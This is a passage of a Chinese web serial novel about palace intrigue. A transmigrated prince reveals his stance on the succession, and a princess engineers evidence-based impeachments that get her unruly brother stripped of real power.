可权贵皆好酒,酒更是逢年过节筵席之上不可或缺之物。百里漾不喜喝酒却不能完全不喝,也不能不给淄川王这些长辈一点面子,这才使得他发出了如此感叹。 “去年在江都只有我与你,还有表兄表嫂四人,多少是有些冷清了些。”百里漾将脑袋转回来,看着在他上方的颜漪,“七娘是更愿意留在江都过年还是在湛京?” 还没有等颜漪回答,百里漾自己就回答了,他拉着颜漪的手,笑得温软,“江都自由些,可湛京却有我们割舍不下的热闹,不是么?若是能够回道从前就好了,没有封王,没有之藩。可那样也不好,我就遇不上七娘了,七娘也不会成为我的王妃了。” “大王是想要留在湛京么?”颜漪垂首问道。 出京就藩的藩王若想长久地留在京城,依照目前大衍地情况来说,除了登上那个位子之外,几乎没有别的可能了。太子孱弱是人尽皆知的事情,如今在很多人看来,即使太子日后顺利登基了,这皇位最后要么是传给江都王,要么是过继江都王所出之子成为储君。无论是哪一种可能,江都王都会是最后的大赢家。 人人都是这么想的,却没有人知道江都王自己是如何想的。颜漪也不知道,百里漾对那个象征着至高无上权力的位子是否有想法。 其实,百里漾有这样的想法也很正常。权势是这世上一等一充满诱惑的存在,也不看那些前朝乃至大衍的一些官员们为了争权夺利、为了官升一级如此彼此之间争得头破血流,遑论是帝位。前有庶人湛,后有定安王,难保长夏王、山阳王就没有这个心思了。比其他们,百里漾的出身更为正统,优势更大,他们都会想,百里漾会想也无可厚非。 成婚这么久,颜漪在彼此细水长流般的相处之中一点一滴地了解了百里漾这个人,可有关这个问题她却是没有能够明确了解百里漾的想法的。她或许猜到了一点,可这种事情却不是能猜的。 许是今夜的夜色格外温柔,车厢内的氛围太过柔和,颜漪看着躺在她腿上的百里漾,忽然问出了她一直想要问的问题。她没有明着问,但百里漾能听出来她想要知道的是什么。 “我自是想要留在这里的,阿爹阿娘在这,长姐长兄他们也在,在江都,除了你在,谁也没有。”百里漾一开始并没有细想颜漪说的话,安逸舒适的环境让他有了点困意,只是闭着眼睛喃喃道。 可说着说着,他自己咂摸出不对味来了,困意一下子被驱散,猛然睁开眼睛看向上首的王妃,看到了那一片澄亮的眸光。他连忙起身,改躺为坐,再去看颜漪的神色,并未有变化。 所以,不是错觉,不是他想错了,王妃真的有在问他,问他想不想当皇帝。 百里漾确定了之后反而愣住了,随后说道:“此事不该我想,日后该承继大统的是太子长兄。有他在,这是最好的。” “大王难道就没有想过么?”已经问出来了,颜漪并不想只是得到这样一个没有答案的回答,再次朝百里漾问道。 “七娘,你是不是最近听到了什么?” 百里漾不得不这么想,因为确实是一直有一些类似“太子孱弱,传位江都王”的声音存在。有时候他甚至怀疑这是定安王他们故意搞出来,企图离间他与阿兄的兄弟感情的。类似这样的话,若是让阿兄听到,心里不知道该有多难受。 “我身为五郎的妻子,不过是想知道五郎心中真正的想法罢了。”颜漪摇了摇头,她双手握住百里漾的手,让他感受到自己的温度,“不管五郎如何想,我们永远是站在一起的。” 百里漾看了她好一会儿,随后才低声说道:“其实,是想过的。” 有些话只要开了口,后面的就好说许多了。 百里漾在前世看多了那些古装影视剧里面的皇帝指点江山、挥斥方遒,中二时期也曾经想象过自己做皇帝一呼百应的场景。他那个时候也没有想过,自己竟然真的会遇到穿越然后重开一次人生的机会,而前后两世的境遇也是完全的天差地别。 帝位,兄弟争权,这种在前世听起来就很虚无的东西竟然能直接与他挂上关系了,当皇帝似乎也不再是一件听着就很扯淡的事情。因为这一世的他作为皇子,还是皇后所出,与其他兄弟一样拥有对皇位的继承权,他是有资格去角逐那个位子的。 可有些事情,想是一回事,能不能做又是另一回事。只有离得近了,你才会知道自己适不适合。皇帝代表的并不只是至高无上的权力,还有天底下头一份的责任。权利与义务从来都是对等的,一个人不能只享受权利而不履行义务,而作为一言一行影响极大的皇帝更是如此,稍有不慎造成的危害都有可能难以估量。 皇帝不是一般人能做的,百里漾自觉自己仍旧还是一个“一般人”。他并没有如同定安王那样强烈的愿望想要登上那个位子,一方面是他觉得自己不够格,另一方面则是觉得这个位子不应该轮到他。 在百里漾的心中,最应该从皇帝手中接过那个位子的人是太子长兄,不会有其他人比太子更有资格了。他心里是盼着太子能够顺利登基,如果可以,他期盼着太子能够在在那个位子上安安稳稳地一直坐下去。 “七娘你会不会觉得我这样想、不好?”在这个只有他们二人的车厢空间内,百里漾向自己的妻子、自己的王妃吐露了真实想法,对帝位没有想法的皇子,任是谁听了都难以相信吧。他这般问,也是想知道定国公府对此是个什么看法。 他喜爱王妃,认定她是自己唯一的妻子,但是并没有忘记他们一开始只是政治联姻来着。百里漾相信王妃同自己是一样的心情,但在这件事情之中却也想知道王妃身后定国公府是如何想的。 “不管大王如何想,我始终与大王站在一起。”颜漪因为百里漾对她袒露真心而高兴,她看着百里漾的眼睛,重申了之前说过的话。 百里漾听出了王妃对自己不管做什么都支持的态度,笑容愈加大了,他握紧了颜漪的手,郑重又欢喜道:“我待王妃亦如是。”- 作者有话说:更新啦。 第166章 长夏王挨锤记 百里漾这个年过得极为舒心, 但也有人过得不好,说是焦头烂额也不为过。这人说的就是长夏王,他自除夕宫宴犯贱被百里漾泼了一杯酒后, 新仇旧怨加在一起,心中对百里漾可是恨得不行,连晚上做梦都是如何狠狠报复百里漾乃至将人踩在脚下羞辱的畅快复仇画面。 可惜做梦终究只是做梦,现实的情况恰恰与梦境相反。 长夏王惦记着装乖卖巧求得皇帝心软将前年被削减的封地重新赐还给他,从回到湛京开始便一改往日荒诞恣睢的行径, 隔三差五就带着一儿一女入宫给皇帝尽孝, 极尽讨好卖乖之能事, 惭悔自己以往的过错,希望能够得到皇父的谅解。在皇帝面前作秀是一方面, 另一方面他还私底下找了几个朝中大臣替他说话,通过这些大臣的口以亲情攻势去劝导皇帝。 时间久了, 皇帝还真是有些心软了。 说到底皇帝心中还是惦念着些长夏王这个儿子,尽管这个儿子不成器, 他以前也没少因为这个儿子的荒唐行径而屡次申饬, 但如同天底下绝大多数的老父亲一般, 哪怕他内心对长夏王这个儿子并没有多少期许,可若是有朝一日这个儿子突然有变好的迹象了,他还是愿意相信一下的,即便身为皇帝的理智以及对这个儿子的了解告诉他,长夏王很有可能只是在装乖卖惨来求得他心软,并不是真心悔改。 但是万一呢,当父亲的总归是愿意给儿子机会的,哪怕这个儿子他平日里并没有多看重。 皇帝心中已有想法要满足长夏王的心愿了,但他并没有立即行动, 哪怕连口头表态都不曾有。他还记得长夏王的封地是因为什么原因被削减的,他顾念这个儿子,却更顾及椒房。皇后乃所有皇嗣的嫡母,长夏王酒后放诞,对椒房不敬,若是没有皇后的谅解,他也不好不顾及椒房的颜面与想法,自己就做主将封地赐还给长夏王。 长夏王也不是个傻的,他察觉到皇帝态度明显有松动,却迟迟没有松口,也意识到问题的症结在椒房那边。他心中大恨,面上却不得不装出一副诚心悔过的姿态,几次让自己的王妃带着儿女到皇后面前表态。 倘若是他亲自来,皇后还不一定愿意见他,但皇后心中对长夏王妃母女俩却是存在一份怜惜的,终究还是心软让这母女俩来拜见了。 初三时,栎阳长公主百里澄至椒房殿拜见皇后,皇后提及了这件事,“长夏王虽不成样子,但他始终是皇嗣之一,陛下打算过了初七便将封地赐还给长夏王。” 这事是皇帝亲口同她说的,用的是打商量的口吻,说老四最近有些样子了,上次的事情过后也知道悔改了,想给他一个机会,其实就是来她面前给长夏王求情。 皇帝到底还是顾念发妻的颜面,做事之前愿意来征询她的意见。皇后也不好不给皇帝面子,没有把话说死,顺着皇帝的话表态,只消长夏王是真心悔过,她也是盼着他能好的。 皇后与皇帝年少夫妻,相互扶持多年,还能不知道皇帝的心思。他能够跑来她面前说这些,说明他心中其实已经打算给长夏王赐还封地了,只是顾虑她这发妻的心情,没有自己事先做决断最后才来通知她,而是跑来征询她的意见。皇后若说不同意,皇帝不会不顾她的意见,但心里会不高兴就是了。 皇后没有必要为了这点小事而与皇帝闹不愉快,于是便松了口。 百里澄:“想来阿爹还暂时不知道长夏王私底下干了什么好事。” 皇帝偶尔会对其他儿子心软,但对长子是一直偏爱的。倘若他知道了长夏王经常在自己儿子面前咒骂太子,别说给长夏王赐还封地了,不再削一块都是好的了。这点自信,百里澄还是有的。估计是正逢过年,皇帝诸事繁忙,他暂时还有从宣室殿那些宫侍口中得知除夕那日长夏王家的四郎干了什么事。 皇后也是这个想法,她也是昨日才得知还有阿荧受欺负这么一回事,还扯出长夏王诅咒太子之事。倘若长夏王是直接咒骂她,皇后还没有如此生气,但他咒骂的竟是自己的长子,宛如一把刀子直接戳到了她最为心痛之处,这如何能忍。 “阿娘放心,必不会让他再嚣张得意下去。”百里澄轻描淡写一句,已经决定了长夏王接下来要被狠锤一顿的命运。 皇后对长女还是很放心的,让她放手去做。 然后,长夏王就惨了。 过年少不了吃吃喝喝,从元日至初七,湛京上层的各户人家基本上都是在筵席上来回打转,今日不是自家宴请,就是明日往别家去吃酒,十分热闹。长夏王也是如此。他虽然在一众已经封王的兄弟里被人看不上,但到底是富有一方的诸侯王,有人瞧不上他,也有人想要走他的门路,攀他的关系,阿谀奉承之人亦不在少数。 这不,就有人想要讨好他,投其所好,给他送了两名貌美的婢女。往日给他送女人的不在少数,以长夏王的德性,自然是来者不拒,但是这次收下两个婢女却出问题了。 原来这次给长夏王送美婢的是一个惯会投机取巧的蝇营狗苟之辈,靠着给人送美婢攀附爬高。长夏王不是他送美婢的第一个对象,这次他还不容易见着了长夏王的面,为了以示诚意,将自己身边最拿得出手的两个美婢送了出去。 长夏王长期作为被“送礼”讨好的一方,收得是毫无心理障碍,当晚回去就让人伺候了。但随后就在后面的一场饮宴之中被人找上门来讨要说法。巧的是这讨要说法之人亦是百里氏之人,论血缘可以管长夏王叫一声“堂兄”。他说长夏王睡了他的妾室,让长夏王给个说法。 长夏王只觉得莫名其妙,加上喝多了,脾气上来张口就让人滚。若是平时,对方可能就忍下了这口气,但他也喝大了,又见长夏王仗势欺人,不肯罢休,结果就被长夏王打了一顿。 长夏王赴的那场筵席是一权贵办的,本来大家皆高高兴兴地饮宴,结果却闹出了这样令人不愉快之事,还是源于女色这样的事情,实在是败坏大家的心情。主人家也觉得被打脸,面上虽然没有说什么,可心里却是将此事记上了。 那么,美婢这事又是怎么回事? 原来是那送美婢的人太不讲究。这人前日在某场筵席之上也遇上了这长夏王被殴打之人,想着好歹也是皇亲国戚,便想着上前去巴结,也使出了他的惯用伎俩——送美婢,那人也是个好色之徒,欣然接受,说过几日来接人。 结果,也不知道怎么的,这人转头遇见长夏王就将原先已经许出去的美婢再次送给了长夏王。可能是因为长夏王是皇帝亲子,更为一方诸侯王,比之前那个只是沾了点天家血脉边边的皇亲国戚更值得巴结,所以这人果断毁诺。也有可能是因为这人纯粹是喝大了忘记他已经将美婢送出去过一回了。 反正,不管事情内因如何,结果就是这么一个结果了。 因为涉及到了长夏王以及另外一个百里氏之人,再加上闹出这事的时候,周围有不少湛京里的权贵与大臣们都在看着,于是这事就闹得很不愉快。没过多久,这事就让皇帝知道了。 不知道不行啊,刚过初七,大臣弹劾长夏王的奏本就呈上了皇帝的案头。皇帝本来高高兴兴地从椒房殿与皇后用膳回来,前脚还跟皇后说长夏王有点样子了,后脚就长夏王就闹出这样的事情来,惹得大臣过年都要弹劾于他,实在是打皇帝的脸,他立马就高兴不起来了。 他怎么有这么一个糟心的儿子。 如果上面这件事情只是让皇帝觉得对长夏王心烦加失望,那么在宣室殿的宫侍将那日长夏王四子推搡阿荧和八皇子以及咒骂太子的话禀报给他的时候,他对这个儿子就彻底只剩下了失望,之后更是绝口不提赐还封地的事情,甚至连长夏王都不乐意见了。 皇帝态度的急转直下也让长夏王察觉到了,他立马觉得不对劲了。不对,之前阿爹明明不是这样的,这几日对他的态度明显冷淡了许多,甚至他还在其中察觉到了一丝厌恶。 不对,肯定是发生了什么他不知道的事情。 长夏王慌了,他想从皇帝那里知道到底发生了什么,但皇帝已经不想搭理他了。这种连搭理他都不愿意的冷淡态度让长夏王心更慌了。他转头就去打探到底是发生了什么事情让皇帝对他的态度骤变,在得知他因为美婢的事情被大臣弹劾之后,他暴跳如雷,在王宅里跳着脚将弹劾他的大臣全部问候了一遍。 长夏王手底下还是有一些聪明人的,这次从长夏国跟随来湛京的臣子让他冷静,理智地给他分析。依照他们对皇帝性子的猜测,若仅仅是美婢那件事情,皇帝对长夏王的态度还不至于到如此地步,正常的发展应该是将长夏王招去狠狠训斥一顿,而不是现在如此冷淡。 皇帝还愿意训斥长夏王,至少说明他还没有彻底放弃这个儿子。可若是在明知长夏王做了错事的情况之下,皇帝连骂都不愿意骂他一句,这意味着什么,长夏王心里也清楚,所以他才彻底慌了。 所以,臣子才断定一定是发生了什么更为严重的事情让皇帝对这个儿子失望冷淡至此。 长夏王知道事情的严重性,也没有空去骂弹劾他的那些大臣了,开始拼命回想究竟是哪里出了问题?可最近除了收婢女这件事情,他压根什么也没有干啊。为了能够让皇帝心软重新给他赐还封地,他都压着自己老实本分半年多了。 眼看着事情就要成了,如今所有的努力竟是要腹水东流了。 这让长夏王如何能够甘心。 就在长夏王四处打探究竟发生了何事的时候,他又惊闻了一个“噩耗”,他的好大儿竟然在除夕那日将太子的女儿和八皇子打了,只是打了还不算,他的好大儿还当着东宫、刘妃宫中以及宣室殿一众宫侍的面指着太子女儿照搬他以前说过的话骂太子早死。 长夏王当即是眼前一黑又一黑。 他恨得是咬牙切齿、面目狰狞,对着这个素日里疼爱有加的儿子恨不得直接掐死算了。他是真的想动手,他那儿子吓得都瑟瑟发抖了,最后被王妃拦下。 长夏王妃并不怕他,“若非你平日对东宫怨怼甚多,还让孩子将话听去,怎会有今日之祸。”说罢也不去看长夏王气得阴森森的脸色,将被吓坏的孩子带走了。 事情已经发生了,重要的是如何补救。 眼下已经将东宫乃至椒房都得罪死了,但是若是长夏王还想要回被削减的封地、挽回在皇帝那里的印象,他就不能什么都不做。强迫自己冷静下来的长夏王赶紧将自己的谋臣幕僚召集来商量对策。 谋臣幕僚们听到长夏王遮遮掩掩地将事情说出来之后一个个都要惊呆了,他们想不通怎么会有人做这样的蠢事,咒骂东宫就算了,好歹你偷偷在心里骂就是了。偏偏要当着一个几岁孩童的面,如今可倒好,这孩子还有样学样竟当着太子女儿的面直接咒骂。 怎么能有人又蠢又坏成这样? 在场的谋臣幕僚们很多都有点绝望了,遇上这样的一个王上,他们能不能换个主子跑路啊?!但跑路暂时是不能跑路的,还得为长夏王想对策如何化解当下的局面。 一群人绞尽脑汁,但无奈长夏王以及他的好大儿的操作几乎将路给堵死了,他们也没什么辙了。为今之计只有一条,求得东宫谅解,那一切还有转圜的余地。 但想也知道这条路很难走得通,太子身体孱弱,长夏王就咒骂人家早死,这不是往人家最忌讳的痛处死命狠戳么?还有上一次,长夏王竟然仗着醉酒当着江都王的面对椒房不敬,以至于那次被削减了一个沃郡的封地,致使长夏国实力大减。 上次骂皇后,这次骂太子,还两次都被人抓了一个现行。 谋臣幕僚们也想不明白了。 太子虽然孱弱多病,可是一直稳坐东宫宝座;椒房更是不用提,与皇帝少年夫妻一路相互扶持至此,即便是定安王的母妃周贵妃都不敢在皇后面前多加放肆。长夏王一个生母仅仅是宫女出身、自己本身亦不怎么得皇帝看重的皇子是怎么敢逮着东宫和椒房一个劲得罪的啊。 真的很令人想不通,甚至有谋臣幕僚们已经看出长夏王不堪大用,心中暗暗下定了要离开的心思了。再跟着长夏王这个昏主干下去,前途估计是没有的,指不定哪天就被当成献祭的炮灰了。 长夏王见这些谋臣幕僚们确实想不出来别的对策了,眼下似乎也没有更好的主意了,他只能硬着头皮令人备下厚礼前往东宫以期求得太子的谅解。到了东宫之后,太子询问他因何到访时,他在太子的那双眼睛的注视之下,说不出自己当着儿子的面诅咒太子早死之事,最后只能悻悻离去。 “百里涌来过了?”长夏王走后,百里澄来到了东宫,看着长夏王挑选出来的用以赔礼的贵重礼物,随意打开了一个盒子,里面放的都是价值不菲的珍宝。 “来了没多久就走了。”太子还能不知道长夏王来是想干什么,他倒是想看看长夏王能够说出什么为自己辩解的话,结果长夏王愣是连自己干了什么蠢事都不敢当着太子的面说出来。 “他也就这点出息了。”百里澄对长夏王这种人没什么可说的,他还不值得她费多少心思。 “此事到此算结了?”太子问道。他倒不在乎长夏王私底下咒骂他之事,如同百里澄一样的心态,长夏王还不值得他看在眼里。 “老四做的荒唐事何止这些,他真以为他在长夏国能够一直这么为所欲为下去么?” 百里澄看不上长夏王的行事很久了,以前没有下手收拾他是因为他翻出的风浪还只是在长夏国之内,椒房和东宫这边最主要的重心还是放在湛京这边以及防着跳得最欢的定安王。偏偏长夏王这几年在长夏国过于滋润给自己的心养野了,他想要上赶着挨揍,那就成全他。 正好也让其他人看看,东宫愿意友爱兄弟,但是绝对不允许其他兄弟逾越本分- 作者有话说:更新啦,求评论[可怜] 第167章 处置与提醒 长夏王的“苦难”还远没有到结束的时候。 也因为百里澄决定要锤人就没有锤到一半就撒手的道理。老四如此猖狂, 就该让他重新认认,看看“敬爱亲长”、“为臣之道”这八个字是怎么写的。 初七一过,大臣们弹劾长夏王的奏疏如同雪花般飞上皇帝的案头, 以极快的速度在御案上堆成了一座小山。 皇帝随后翻开一本,是弹劾长夏王荒淫无度,在长夏国屡屡向民间征选年轻貌美的妙龄女子入宫,致使如今的长夏王宫之内说是后宫三千也不为过;翻开另一本,里面弹劾的是长夏王骄奢过甚, 更喜铺张, 为得钱用于挥霍, 曾一年之中多次向民间征收莫须有的税费,致使长夏国内民怨沸腾;还有参奏长夏王荒怠政务, 任用奸佞,更有宠妾灭妻之嫌的…… 弹劾长夏王之事自然是百里澄令大臣去做的, 她也没有冤枉了长夏王,令大臣上疏弹劾时吩咐了据实以奏, 如此也找出了一堆长夏王的罪名出来。这些罪名还附有实证, 主打的就是一个将长夏王死死锤到地里, 叫人抠都抠不出来。 这阵弹劾长夏王的风是东宫这边率先刮起的,但这股风随着时日增长越刮越大,其中未必没有其他人在助长这股风刮成大风,最好将长夏王彻底吹死。 长夏王本人自是被这阵“弹劾”之风吹得是焦头烂额,像个没头的苍蝇急得四处乱转,却根本找不到一点挽救的法子。 怎么挽救? 这股风就是东宫带起来的,这是对他的报复。他已将东宫和椒房得罪死了,他们是肯定不会就此放过他的。最要命的是这些对他的弹劾都是有实证的,他想去陛下面前辩解都不行。 长夏王有去找定安王这些兄弟姐妹还有越国长公主、淄川王这些宗亲长辈帮忙求情。定安王这个表面上应得好好的, 实际上根本没有一点行动,而越国长公主这些个长辈不是将他骂一顿就是只会说些让他老老实实认错之类的没有的话。 长夏王无计可施,最后干脆破罐子破摔,整日闭门在王宅之中饮酒作乐,喝醉了就开始摔东西,金银玉器砸了满地。两次过后,长夏王妃令人将易碎的东西全部换成陶土制成的器物,让长夏王想砸多少砸多少。 至初十,皇帝从那堆弹劾长夏王的奏疏里终于理清了他这个四儿子就封长夏国这么些年到底做出了什么治绩出来了,连气都不愿意生了,对这个儿子是彻底失望了。可这烂摊子却是要收拾的,再任由四儿子这么搞下去,长夏国还能好了。 皇帝召太子、三公九卿等朝中要臣商议如何处置长夏王以及长夏国之事。 在问及太子的意见时,皇帝目光静静注视着太子,换作旁的人就算不是吓得两股战战也要畏惧心慌,不敢与之对视了。 可太子不是,他很是坦然。即便皇帝知道弹劾长夏王的事情是东宫授意的,可那又如何,那些弹劾也没有冤着长夏王。在这件事情上,无论是作为储君,作为儿子还是作为兄长,他都没有做错什么。 皇帝也知道,故而他也只是看了看太子,并没有责怪太子的意思,终究是老四自己不成器,怪不得旁人。 对长夏王的处置很快就下来了。鉴于长夏王就封之后在长夏国做的那些乌七八糟的蠢事,皇帝乃至大臣对于他治理一国的能力已然是不信任了。 看看他在长夏国任命的那些官员都是什么奸佞庸才,眼看着王上不智恣睢妄为,不仅不加劝阻还要极尽阿谀谄媚之事。通通撸掉!从国相开始,将那些德不配位、谄媚奉上的官员全部撸掉,有罪治罪,另行选派有才德之士前往长夏国赴任。长夏王德行不修,皇帝还亲至指派了一名立身端正、德行高洁的名士给长夏王做王傅,力图将他的德行掰回正轨。 如此以来,长夏王依旧是长夏国的王上,但实际上他基本等于被架空了。最要命的是那名王傅,皇帝亲至指派,但凡长夏王言行有一点狂悖,王傅都可以代为训导。这样的结果几乎比杀了长夏王还要让他难受。 长夏王知道这个处置的时候差点疯了,疯狂地说要进宫去找皇帝求情,请求宽恕。可宣旨的内侍只是笑眯眯地让他接旨,并告诉他陛下近来龙体欠安,不好惊扰,其实就是变相地告诉他皇帝并不想见他。 这下长夏王彻底瘫倒在地,心如死灰地接过了圣旨。 “主子,长夏王妃求见。” 栎阳长公主宅中,百里澄邀了颜漪过来饮佳酿赏雪,刚温上酒就有侍女过来禀报。百里澄令侍女去将人请进来,转头看颜漪看过来,笑道:“看来时辰刚刚好。” 颜漪也是这时候才知道百里澄还邀了长夏王妃前来。她思及最近发生的长夏王被弹劾、被皇帝贬斥之事,猜出来百里澄与长夏王妃之间很可能存在着什么合作之类的。今日长夏王妃前来,大概是事情尘埃落定之后的胜者复盘庆祝了。 “弟妹也在。”长夏王妃见到颜漪也在并没有多少意外,与百里澄、颜漪相互问安之后,她拉了拉身边的女儿,示意她叫人。 小姑娘脸蛋圆圆的,脸颊的位置浮红,裹着雪袄,活像个圆滚滚的汤圆,显得尤为玉雪可爱。她的小身子紧紧挨着母亲长夏王妃,小手也抓着母亲的手,看向百里澄与颜漪的目光中充满了羞涩,人也是怯怯的。 不得不说,百里氏的孩子很少有不好看的。长夏王妃本身就是一个美人,长夏王虽然这些年沉迷酒色没少糟践身体,弄得面色蜡黄、脚步虚浮,人也看着寒碜埋汰不少,可他底子里到底是百里氏的血脉,与长夏王妃生出来的孩子也是一个精致漂亮娃。 “小满拜见大姑姑、五叔母。”小嗓音稚嫩,听着软软糯糯的。她在人前还是怯懦的,这次却有些不太一样,总是忍不住去看百里澄与颜漪。 百里澄问她为什么一直看自己与五叔母,小姑娘答大姑姑和五叔母好看,惹得百里澄与颜漪不禁失笑。两人这么一笑,气氛顿时变得轻松愉快了。 百里澄对长夏王看不上眼,但对着长夏王妃和小满却没有什么意见,拿着糕点喂了小满吃了一块,又叫侍女弄了些适合孩童喝的茶饮给她捧着喝。 长夏王妃此次前来是来致谢,固然这次长夏王被贬斥是东宫椒房出于维护自身利益而出的手,但他们也切切实实帮到了她们母女俩。 皇帝对于长夏王宠妾灭妻之事大为光火。皇帝当初选择长夏王妃给四儿子为正妻是出于为这个儿子考虑的心情再经过多重考量才给他定下的,结果这个儿子是怎么做的?宠幸一个出身卑贱的妾室,屡次纵容妾室踩王妃的脸面,弄得整个长夏王宫乌烟瘴气的。 皇帝这次是发了狠要收拾这个不成器的荒唐儿子,圣旨上的一项项加起来都将长夏王治得死死的。而经过这一遭,日后长夏王还想如同以往那般为所欲为是不可能的了。往后只要长夏王妃自己没有行差踏错,她长夏王妃的位置就永远是稳当得,长夏王即便再如何不满她也都不能拿她怎么样。 因此,在这场弹劾风波里,真正倒了大霉的只有长夏王一人,只是他是活该罢了。没看见连自己的妻女都不肯与他站在一边,足见这厮不得人心、人嫌鬼厌到何等地步。 “冬日很快就要过去了,以后日子只会越过越好。”百里澄给长夏王妃面前的酒盏满上,她看向了旁边正被侍女照顾着乖乖喝茶饮的小满,眼眸中有笑意更似有深意,“小满是个好孩子,日后会有大造化也说不定。” 长夏王妃闻言心中不由惊了一下,她对上百里澄似有深意的笑眸,扭头看了一眼女儿,好一会儿才由衷道:“只盼着她能够一辈子平安喜乐就足够了。” 平安喜乐,这是作为一个母亲对孩子最为质朴的期盼与祝福了。 “平安喜乐么?自是会的。”百里澄由衷笑了一下,她朝小满招手,待小姑娘过来之后将她圈在怀里,一面逗她玩一面对长夏王妃说道,“过几日湛京城中会有上元灯会,很是热闹。看完了灯会再走,路会好走许多。” 百里澄之所以这么说是因为皇帝在下圣旨贬斥长夏王的同时还让他过完了十五就立即返回封地,厌烦这个儿子以至于都不愿意他在湛京多待。 “是,我会带小满去看的。她还没有见过湛京的上元灯会呢。”长夏王妃眼眶微微有些发热,知道这是长姐对她们母女俩的照顾,心中即使酸涩又是感激,忍着没有落泪。 是啊,冬日已经过去了,温暖的春日已经来临了,她们母女后面的日子只会越过越好。 长夏王妃带着女儿告辞之后,百里澄看着颜漪似有怅然的模样,轻笑着打趣道:“羡慕?你快些生一个就不必羡慕别人家的了。” 颜漪战术性喝茶,避开这个话题。过这个年,催生的人多了,听多了此类的话,她也有了免疫。百里澄也只是随口说这么一句,并没有在这个问题上再多说什么。 “听说今年顾氏往定国公府上送了年礼。”悠哉着饮了一口温酒之后,百里澄忽然朝颜漪问道,她用的不是询问的语气,说明她已经确认了这件事情的真实性。 颜漪没有想到她会突然提起这件事情,回道:“顾氏主母毕竟是父亲一母同胞的妹妹,父亲终究是念及旧情。前段时间父亲从边境回到湛京,顾氏登门拜访,随后两家便恢复了往来。” 定国公府之前与顾氏断绝往来之事在湛京城中并不是什么秘密,对于此事湛京中的高门勋贵人家更多的是后知后觉,只是发觉的时候两家的关系就已经僵硬至此了。定国公府与顾氏两家是极为亲近的姻亲关系,顾氏族长是定国公的亲妹婿,说断绝往来就断绝了,如何能不令人惊诧。 因为事涉定国公府,很多人还是想要打听出其中原委的,但两家的口风都很紧,故而至今湛京城之内除了两家之外几乎没有人知道两家究竟是因为什么事情闹掰的。 别人不知,但颜漪知道,百里澄很大可能是知晓的,否则在此也不会提起此事了。 对于此事,颜漪也是在回湛京之后才知晓的。 曹氏在向女儿说起此事时,亦有不愿。实是顾晟开所做之事太过恶劣,若非江都王通情达理,那件事情害的就是她的女儿,作为一个母亲,她并不想原谅顾晟开。只是那日顾氏夫妇带着顾晟开登门负荆请罪,夫妻俩一个当着丈夫定国公的面说要打死顾晟开,一个哭得泣不成声哀求兄长的原谅,请兄长看在外甥年少无知又真心悔过的份上原谅他一次。 那一场又哭又唱的闹剧过后,定国公终究是松了口,原谅了顾晟开这一次,还说希望顾晟开是真心悔改,莫要再次辜负大家对他的信任。 也就是那次之后,顾氏与定国公府才又恢复了走动。 颜漪记得母亲对她说的,“你祖母临终之前嘱托你阿爹要照顾妹妹,他多年以来照顾你姑母已成习惯,此次还是看在你姑母的面上才将那事揭过了。但我们谁也不能当做那件事情没有发生过,今日只当他们是一般亲戚走动便是。” 也就是说,虽然两家恢复了往来,但定国公府待顾氏也回不到从前了。 颜漪的解释,百里澄听明白了,定国公到底还是对唯一的胞妹心软,人之常情,无可厚非。她只是隐晦地提了一句,“你这位表兄前一段时间与宜城的驸马往来颇是频繁啊。” “贺驸马?”颜漪诧异,“此事我亦是头一回听说。” 在她的记忆之中,顾晟开与宜城驸马贺文渐虽然都是京中勋贵弟子,处在同一个圈子里,但两人并没有多少交情。更别说贺文渐是宜城公主的驸马,而宜城公主是山阳王的阿姊,以定国公府的立场再加上顾晟开自小是由阿爹教习武艺的,他怎么可能会与贺驸马多有往来。 但那是以前,百里澄说的可是之前的一段时间。 百里澄不是无的放矢之人,她会点出顾晟开与宜城驸马私下往来之事说明她已经注意这件事情很久了,这件事情也不会有假,并且其中很有猫腻。她特意将此事告诉自己,也是顾及定国公府的颜面,毕竟当前定国公府还认顾晟开这个外甥。 “多谢阿姐提醒,父亲那边我会让他多加注意的。”颜漪致谢道。 “你心里有数便可。”百里澄见颜漪已经领会她的意思,又继续招呼颜漪饮酒赏雪。 颜漪是傍晚回的江都王宅,她到家时百里漾并不在家,长史告诉她“大王受崔都尉相邀往大将军府吃酒去了,不知道何时会回,让王妃不用等他”。 颜漪颔首表示知道了,又想到百里漾是被崔栋叫去吃酒了,转头吩咐厨下准备好醒酒汤,等大王回来便能喝上。 至夜深,百里漾才回来,喝得微醺,这还是崔栋知道他酒量不少没有让他多喝的结果。侍女问他是否要饮用醒酒汤,百里漾得知是王妃吩咐给他备的,心下一暖,又听侍女说王妃在寝室,闻着自己满身的酒气,决定洗过之后再去找王妃- 作者有话说:更新啦,求评论[可怜] 第168章 定国公府的抉择…… 待百里漾将自己的一身酒气洗去, 换了身干净的寝衣回到寝室,入目便是王妃执卷夜读的美好画面。灯下美人如玉,暖色的光映照在她的侧颜上, 恬静怡然,令人不觉放轻了一切动作,免得惊扰这幅画卷。 可在百里漾走到近前时,地面投下的影子还是将他暴露了。颜漪察觉到他的靠近,抬首看来, 唇角略微上扬, “大王回来了?” “回来了。”百里漾挨着王妃坐下, 看了一眼她手里拿着的是一本游记,问道, “今日去阿姐那里一切可都好?” 他们俩今日的行程是分开的,颜漪去栎阳长公主宅做客, 百里漾本来也是要跟去的,但百里澄嫌弃他在碍事, 让他要么回家去, 要么看看哪个地方可以去, 别来打扰她们。不想独自回家但又暂时无处可去的百里漾在回王宅的半途上遇见了崔栋,于是就被他拐去吃酒了。 “一切都好,今日四嫂带着小满也来了。”颜漪回道。 “四嫂和小满?”百里漾稍显意外,他想起前不久长夏王被弹劾即将被贬斥出京之事,大致也猜到了长夏王妃在其中扮演了什么样的角色,不过他并不觉得长夏王妃有什么错。长夏王自己不做人,那就怪不得别人扇他了。 百里漾感慨道:“经此一事,四嫂与小满也是苦尽甘来了。” 今年长夏王带进京来的一儿一女百里漾都见过了,甚至因为是头一次见面, 他作为王叔还给出去两件很是拿得出手的见面礼,只是给长夏王四郎那个熊孩子的见面礼肯定是不会越过长夏王妃所生的孩子小满去的。 这两个孩子,一个骄横霸道、蛮不讲理,一个明明是王妃所出却养得性子羞怯畏缩。这并非是说长夏王妃将小满养得不好,从小满对她的满心依赖便知道她素日是极为爱护这个唯一的女儿的。只是长夏王不是一个好父亲,他并不怎么在意这个女儿,使得小满在成长过程中面对他时更多的是害怕,性子也不可避免地变得怯弱。 百里漾对长夏王养出的熊孩子喜欢不起来,却不免对小满这个孩子多有怜惜。 